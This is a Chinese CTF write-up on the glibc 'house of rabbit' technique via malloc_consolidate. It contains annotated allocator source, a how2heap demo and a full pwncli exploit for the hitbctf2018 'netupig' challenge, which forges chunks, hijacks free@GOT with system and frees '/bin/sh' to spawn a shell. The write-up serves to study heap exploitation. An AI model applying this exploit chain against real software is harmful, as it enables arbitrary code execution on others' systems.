一
简介
overflow write
、use after free
2.23
——2.26
0x400
大小的堆分配fastbin
的fd
或者size
域malloc_consolidate
函数,当检测到有fastbin
的时候,会取出每一个fastbin chunk
,将其放置到unsortedbin
中,并进行合并。fd
为例,利用过程如下:chunk A
、chunk B
,其中chunk A
的大小位于fastbin
范围chunk A
,使其进入到fastbin
use after free
,修改A->fd
指向地址X
,需要伪造好fake chunk
,使其不执行unlink
或者绕过unlink
chunk
,或者释放0x10000
以上的chunk
,只要能触发malloc_consolidate
即可fake chunk
被放到了unsortedbin
,或者进入到对应的smallbin/largebin
fake chunk
进行读写即可2.26
加入了unlink
对presize
的检查2.27
加入了fastbin
的检查house of rabbit
是对malloc_consolidate
的利用。因此,不一定要按照原作者的思路来,他的思路需要满足的条件太多了。二
实验:how2heap - fastbin dup consolidate
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");void *ptr[7];
for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);void* p1 = calloc(1,0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");assert(p1 == p3);
printf("Triggering the double free vulnerability!\n\n");
free(p1);void *p4 = malloc(0x400);
assert(p4 == p3);
printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}
0x55555555b8d0 0x0000000000000000 0x0000000000000051 ........Q....... <-- fastbins[0x50][0]
0x55555555b8e0 0x000000055555555b 0x0000000000000000 [UUU............
0x55555555b8f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b900 0x0000000000000000 0x0000000000000000 ................
0x55555555b910 0x0000000000000000 0x0000000000000000 ................
0x55555555b920 0x0000000000000000 0x00000000000206e1 ................ <-- Top chunk
static void malloc_consolidate(mstate av)
{
mfastbinptr *fb; /* current fastbin being consolidated */
mfastbinptr *maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to *//* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
// 设置 av->have_fastchunks 为 false(0)
atomic_store_relaxed(&av->have_fastchunks, false);
// 取出 unsortedbin chunk
unsorted_bin = unsorted_chunks(av);/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
移除fastbin中的chunk,然后合并,放到unsortedbin*/
// 取出最大的 fastbin
maxfb = &fastbin(av, NFASTBINS - 1);
// 取出最小的 fastbin
fb = &fastbin(av, 0);
do
{
p = atomic_exchange_acq(fb, NULL);
// 从最小的fb到最大的fb进行遍历,有chunk就进入处理
if (p != 0)
{
// 遍历每一个 fastbin chunk
do
{
{
// 安全检查:p 需要是内存对齐的
if (__glibc_unlikely(misaligned_chunk(p)))
malloc_printerr("malloc_consolidate(): "
"unaligned fastbin chunk detected");
// 获取 fastbin 索引
unsigned int idx = fastbin_index(chunksize(p));
// 安全检查:该fastbin的大小检查,不能是其他大小
if ((&fastbin(av, idx)) != fb)
malloc_printerr("malloc_consolidate(): invalid chunk size");
}
// 检查 prev_inuse 位为 1
check_inuse_chunk(av, p);
// 解密 next 指针,拿到next chunk地址
nextp = REVEAL_PTR(p->fd);/* Slightly streamlined version of consolidation code in free() */
// 轻量线性版本的free()的consolidation
// 获取大小
size = chunksize(p);
// 获取next chunk 及其 size
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
// 如果prev_inuse==0,意味着上一个chunk是空闲的normal chunk,向上(低地址)合并
if (!prev_inuse(p))
{
// 获取 prev_size,计算合并后大小 size,获取prev chunk ptr
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
// 安全检查:如果chunk size和next chunk 的 prev_size不一致,报错
if (__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr("corrupted size vs. prev_size in fastbins");
// 双链表断链 prev chunk
unlink_chunk(av, p);
}
// 如果下一个chunk不是top chunk
if (nextchunk != av->top)
{
// 判断再下一个chunk的prev_inuse
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);// 如果是0,表示next chunk是空闲的
if (!nextinuse)
{
// 大小合并,断链
size += nextsize;
unlink_chunk(av, nextchunk);
}
else // 清除next chunk的prev_inuse位
clear_inuse_bit_at_offset(nextchunk, 0);// 插入到 unsortedbin 的前面
// 取出unsortedbin中的第一个
first_unsorted = unsorted_bin->fd;
// 第一个设置成新的chunk
unsorted_bin->fd = p;
// 原本第一个的上一个设置成新的chunk
first_unsorted->bk = p;// 如果是largebin size chunk,就清空nextsize位
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
// 设置标志位,完成插入操作
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
// 如果下一个chunk是top chunk
else
{ // 合并到top chunk
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}} while ((p = nextp) != 0);
}
} while (fb++ != maxfb);
}
av->have_fastchunks
为falsea.如果不是top chunk,就插入到unsortedbin的前面
b.如果是top chunk,就合并到top chunk中
_int_malloc
中,当不能从fastbin
中申请,且申请大小不属于small size
时,如果当前arena
有fastbin chunk
,就会进行调用:else
{
// largebin 中取出
idx = largebin_index(nb);
if (atomic_load_relaxed(&av->have_fastchunks))
malloc_consolidate(av);
}
_int_malloc
中,当无法通过top chunk
分配,且arena
中有fastbin chunk
时,就会进行调用:else if (atomic_load_relaxed(&av->have_fastchunks))
{
malloc_consolidate(av); // 合并操作
/* restore original bin index */
// 保存原本bin索引
if (in_smallbin_range(nb))
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}
_int_free
中,释放到unsortedbin
进行consolidation
的过程中,在向前向后合并完成了以后,如果合并的大小超过0x10000
,就检测fastbin chunk并进行合并:if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) // 阈值:65536
{
// 如果fastbins存在,就合并
if (atomic_load_relaxed(&av->have_fastchunks))
malloc_consolidate(av);
二
实验:hitbctf2018 - netupig
这个实验我做了2天,还是思想太局限了,没收集好题目给出的信息,就在硬做,看到大佬的exp,恍然大悟,实在精彩!精彩!
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choose; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]v4 = __readfsqword(0x28u);
sub_4008DC(a1, a2, a3);
sub_400950();
while ( 1 )
{
__isoc99_scanf("%d", &choose);
getchar();
switch ( choose )
{
case 2:
fp_free();
break;
case 3:
fp_edit();
break;
case 1:
fp_malloc(); // 1:0x10
// 2:0x80
// 3:0xa00000
break;
}
}
}
__int64 fp_malloc()
{
__int64 size; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 i; // [rsp+8h] [rbp-18h]
void *p; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]v4 = __readfsqword(0x28u);
__isoc99_scanf("%lu", &size);
getchar();
switch ( size )
{
case 1LL:
p = malloc(0x10uLL);
break;
case 2LL:
p = malloc(0x80uLL);
break;
case 3LL:
p = malloc(0xA00000uLL);
break;
case 13337LL:
if ( g_tag == 1 )
return 0xFFFFFFFFLL;
p = malloc(0xFFFFFFFFFFFFFF70LL); // 有大用!
g_tag = 1;
break;
}
if ( !p )
return 0xFFFFFFFFLL;
fp_read(p, 8LL);
for ( i = 0LL; i <= 9 && *(&ptr + i); ++i )
;
if ( i == 10 )
exit(0);
*(&ptr + i) = p;
return 0LL;
}
__int64 fp_edit()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &index);
getchar();
if ( index >= 0xA )
return 0xFFFFFFFFLL;
fp_read(*(&ptr + (int)index), 8LL); // 存在WAF
fp_read(&g_buffer, 48LL);
return 0LL;
}
__int64 fp_free()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &index);
getchar();
if ( index >= 0xA )
return 0xFFFFFFFFLL;
free(*(&ptr + (int)index)); // 没有清0指针,可能存在double-free,UAF
return 0LL;
}
.bss:00000000006020C0 ; void *ptr
.bss:00000000006020C0 ptr dq 0Ch dup(?) ; DATA XREF: fp_malloc+E8↑r
.bss:00000000006020C0 ; fp_malloc+113↑w ...
.bss:0000000000602120 g_buffer dq 6 dup(?) ; DATA XREF: fp_edit+67↑o
.bss:0000000000602150 dd ?
0xFFFFFFFFFFFFFF70LL
大小和0xA00000uLL
大小内存的功能(当时我还不懂,后来发现这是整个利用的核心)0xA00000uLL
是个提示,回顾一下libc 2.23下malloc的过程:-largebin中最大的chunk范围是0x80000 - ∞
-从largebin中分配不检查申请大小是否超出系统内存
0xA00000
给出的提示就是要用到largebin去分配巨大的0xFFFFFFFFFFFFFF70LL
内存,通过分割来获得能覆盖指针数组的chunk0xA00010
且大于0x80000
,使该chunk通过sort过程进入largebin。/bin/sh
的chunk,拿到shell。# trigger top grow
add(3,'0')
dele(0)
add(3,'1')
dele(1)add(1,'2')
dele(2)
payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0x11),
0x20:pack(0)+pack(1)
})
edit(2,pack(0x602130),payload)# malloc consolidation
add(3,'3')
0xa00000
的chunk,并释放掉,目的是:**av->system_mem**
(后面探讨原因,见后文:探讨2)-申请1个释放掉也行
-申请释放再申请这个大小的内存的时候,会触发top grow(后面探讨为什么,见后文:探讨1)
pwndbg> bin
fastbins
0x20: 0x245a000 —▸ 0x602130 ◂— 0x0
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000000 where i need to get a remainder chunk00000000006020c0 00007f6f978dd010 000000000245a010 ptr array
00000000006020d0 000000000245a010 0000000000000000
00000000006020e0 0000000000000000 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 00000000000000000000000000602120 0000000000000000 0000000000000000 buffer
0000000000602130 0000000000000000 0000000000000011
0000000000602140 0000000000000000 0000000000000001
0000000000602150 0000000000000000 0000000000000000
pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602130 —▸ 0x7f6f986a2b78 (main_arena+88) ◂— 0x602130 /* '0!`' */
smallbins
empty
largebins
empty
# let this chunk into largebin,max range
payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0xa00001),
})
edit(2,b'/bin/sh',payload) # perpare for hijack free function later
add(3,'4')
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 000000000000000000000000006020c0 00007f4c518ef010 0000000000c32010
00000000006020d0 0000000000c32010 0000000000c32010
00000000006020e0 0000000001632020 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 00000000000000000000000000602120 0000000000000000 0000000000000000
0000000000602130 0000000000000000 0000000000a00001 largebin chunk
0000000000602140 00007f4c526b5348 00007f4c526b5348
0000000000602150 0000000000602130 0000000000602130
pwndbg> bin
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
0x80000-∞: 0x602130 —▸ 0x7f4c526b5348 (main_arena+2088) ◂— 0x602130 /* '0!`' */
# forgery prev_size & size (unlink process check this)
payload = flat({
0x00:pack(0xfffffffffffffff0)+pack(0x00),
0x10:pack(0)+pack(0xfffffffffffffff1),
})
edit(4,'4',payload)
add(13337,'5')
0xFFFFFFFFFFFFFF70LL
大小的内存之后,remainder chunk至少位于0x6020b0
0xFFFFFFFFFFFFFF70 + 0x80 = fffffffffffffff0
即可(注意unlink的时候会计算next chunk检查prev_size)pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000000 will be remainder chunk00000000006020c0 00007f1308860010 0000000000e45010 ptr array
00000000006020d0 0000000000e45010 0000000000e45010
00000000006020e0 0000000001845020 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 00000000000000000000000000602120 fffffffffffffff0 0000000000000000 prev_size
0000000000602130 0000000000000000 fffffffffffffff1 largebin chunk
0000000000602140 00007f1309626348 00007f1309626348
0000000000602150 0000000000602130 0000000000602130
0000000000602160 0000000000000000 0000000000000000
0000000000602170 0000000000000000 0000000000000000
0000000000602180 0000000000000000 0000000000000000
0000000000602190 0000000000000000 0000000000000000
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000071 unsortedbin chunk
00000000006020c0 00007f1309625b78 00007f1309625b78 ptr array
00000000006020d0 0000000000e45010 0000000000e45010
00000000006020e0 0000000001845020 0000000000602140
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 00000000000000000000000000602120 0000000000000070 0000000000000000
0000000000602130 0000000000000000 ffffffffffffff81
0000000000602140 00007f1309626335 00007f1309626348
0000000000602150 0000000100602130 0000000000602130
0000000000602160 0000000000000000 0000000000000000
0000000000602170 0000000000000000 0000000000000000
0000000000602180 0000000000000000 0000000000000000
0000000000602190 0000000000000000 0000000000000000
add(1,pack(elf.got['free']))
edit(0,pack(elf.sym.system),pack(0x70))
dele(2)
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000021
00000000006020c0 0000000000602018 00007f4df317bbd8 got['free']00000000006020d0 0000000001cb1010 0000000000000051
00000000006020e0 00007f4df317bb78 00007f4df317bb78
00000000006020f0 00000000006020c0 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 00000000000000000000000000602120 0000000000000070 0000000000000000
0000000000602130 0000000000000000 ffffffffffffff81
0000000000602140 00007f4df317c335 00007f4df317c348
0000000000602150 0000000100602130 0000000000602130
0000000000602160 0000000000000000 0000000000000000
0000000000602170 0000000000000000 0000000000000000
0000000000602180 0000000000000000 0000000000000000
0000000000602190 0000000000000000 0000000000000000
/bin/sh
的指针进行free:pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1cb1000
Size: 0xa00010 (with flag bits: 0xa00011)pwndbg> x/s 0x000000001cb1010
0x1cb1010: "/bin/sh"
from pwncli import *
cli_script()
set_remote_libc('libc-2.23.so')io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libcdef cmd(i, prompt=''):
sleep(0.1)
#sla(prompt, i)
sl(i)
sl('')# 1 0x10
# 2 0x80
# 3 0xA0000
def add(nb,content):
cmd('1')
sl(str(nb))
# sl('')
s(content[:7])
#......def edit(idx,content,content2):
cmd('3')
sl(str(idx))
s(content[:7])
s(content2[:47])def dele(idx):
cmd('2')
sl(str(idx))
sl('')
#......# ====================
# 思路,最终通过13337申请的巨大内存,覆盖到指针数组上
# 需要一个大小巨大的chunk在buffer中,通过malloc consolidationru('test')
# trigger top grow
add(3,'0')
dele(0)
add(3,'1')
dele(1)add(1,'2')
dele(2)payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0x11),
0x20:pack(0)+pack(1)
})
edit(2,pack(0x602130),payload)# malloc consolidation
add(3,'3')# let this chunk into largebin,max range
payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0xa00001),
})
edit(2,b'/bin/sh',payload)
add(3,'4')# forgery prev_size & size (unlink process check this)
payload = flat({
0x00:pack(0xfffffffffffffff0)+pack(0x00),
0x10:pack(0)+pack(0xfffffffffffffff1),
})
edit(4,'4',payload)
add(13337,'5')add(1,pack(elf.got['free']))
edit(0,pack(elf.sym.system),pack(0x70))
dele(2)ia()
if (av == NULL || ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/try_mmap:
pwndbg> p/x nb
$1 = 0xa00010pwndbg> p/x mp_
$2 = {
trim_threshold = 0x20000,
top_pad = 0x20000,
mmap_threshold = 0x20000,
arena_test = 0x8,
arena_max = 0x0,
n_mmaps = 0x0,
n_mmaps_max = 0x10000,
max_n_mmaps = 0x0,
no_dyn_threshold = 0x0,
mmapped_mem = 0x0,
max_mmapped_mem = 0x0,
max_total_mem = 0x0,
sbrk_base = 0x0
}
mp_.mmap_threshold
的值为初始值:0x20000
,小于申请大小nb,mmap数量也没超过上限,就会进入mmap的流程,映射一块内存分配下来pwndbg> p/x mp_
$1 = {
trim_threshold = 0x1402000,
top_pad = 0x20000,
mmap_threshold = 0xa01000,
arena_test = 0x8,
arena_max = 0x0,
n_mmaps = 0x0,
n_mmaps_max = 0x10000,
max_n_mmaps = 0x1,
no_dyn_threshold = 0x0,
mmapped_mem = 0x0,
max_mmapped_mem = 0xa01000,
max_total_mem = 0x0,
sbrk_base = 0x0
}
mp_.mmap_threshold
的值发生了变化,在这两次申请内存之间只间隔了一个free,问题应该就出现在free中。libc_hidden_def(__libc_malloc) void __libc_free(void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
if (__builtin_expect(hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS(0));
return;
}if (mem == 0) /* free(0) has no effect */
return;p = mem2chunk(mem);
if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
/* see if the dynamic brk/mmap threshold needs adjusting */
if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize(p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk(p);
return;
}ar_ptr = arena_for_chunk(p);
_int_free(ar_ptr, p, 0);
}
mp_.mmap_threshold
的大小,这意味着,小于该大小的chunk将不再通过mmap进行分配。if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
av->system_mem
,它会在top grow之后进行累加,在sysmalloc函数中,heap grow之后有这么一段:if ((long)(MINSIZE + nb - old_size) > 0 && grow_heap(old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
arena_mem += old_heap->size - old_heap_size;
set_head(old_top, (((char *)old_heap + old_heap->size) - (char *)old_top) | PREV_INUSE);
}
av->system_mem
中,表示现在系统中可用的内存有这么大。av->system_mem
的大小,方式就是触发heap grow。看雪ID:selph
https://bbs.kanxue.com/user-home-988863.htm
# 往期推荐
2、在Windows平台使用VS2022的MSVC编译LLVM16
3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱
球分享
球点赞
球在看
点击阅读原文查看更多